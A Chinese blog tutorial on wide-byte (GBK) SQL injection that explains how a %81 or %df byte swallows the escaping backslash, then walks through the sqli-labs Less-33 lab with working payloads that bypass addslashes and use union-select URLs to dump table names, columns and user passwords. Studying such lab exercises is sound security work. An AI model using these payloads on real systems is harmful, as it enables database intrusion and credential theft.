宽字节注入分析

窄字节

当某字符的大小为一个字节时,称为窄字节

宽字节

当某字符的大小为两个字节时,成为宽字节

宽字节注入

原理:宽字节注入发送的位置就是PHP发送请求到MYSQL时字符集使用charater_set_client设置一次编码。在使用PHP连接Mysql的时候,当设置"character_set_client=gbk"时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入。
(一句话:中英文所占字符不同且数据库编码与PHP编码设置为不同而导致的)

宽字节注入的条件

  1. 数据库为GBK编码
  2. 使用了转义函数,将、POGETST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符\进行转义

宽字节注入方式

root %81' or 1=1 #

原理:在GBK编码中,反斜杠的编码是%5c,在输入%81后,使得添加反斜杠后形成%81%5c%27,而%81%5c是汉字,就类似%df%5c是繁体字"連"一样,这样单引号成功的独立的显示出来了

备注:宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。只要输入数据的ascii码值大于128才会认为两个字符是汉字,根据参数对照表分析只要输入的内容大于或者等于%81就可以实现
ascii码编码对照表

例题:

sqli-labs 33 使用了addSlashes()函数
url路径为:http://192.168.101.101/Less-33/

在这里插入图片描述当输入http://192.168.101.101/Less-33/?id=1’
(函数addSlashes把’转移成了\')

在这里插入图片描述

http://192.168.101.101/Less-33/?id=1%81%27

在这里插入图片描述
因为sql语句中’没有被结束所以报错了,注释掉后续代码试试看
在这里插入图片描述
爆数据库表名
http://192.168.101.101/Less-33/?id=-1%81%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+
在这里插入图片描述
爆表的字段名
http://192.168.101.101/Less-33/?id=-1%81%27 union select 1,2,group_concat(column_name) from%20information_schema.columns where table_name=0x7573657273–+
这里的table_name就不能使用单引号了,要用users的十六进制
在这里插入图片描述
爆表的内容
http://192.168.101.101/Less-33/?id=-1%81%27 union select 1,group_concat(username) ,group_concat(password) from users–+
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值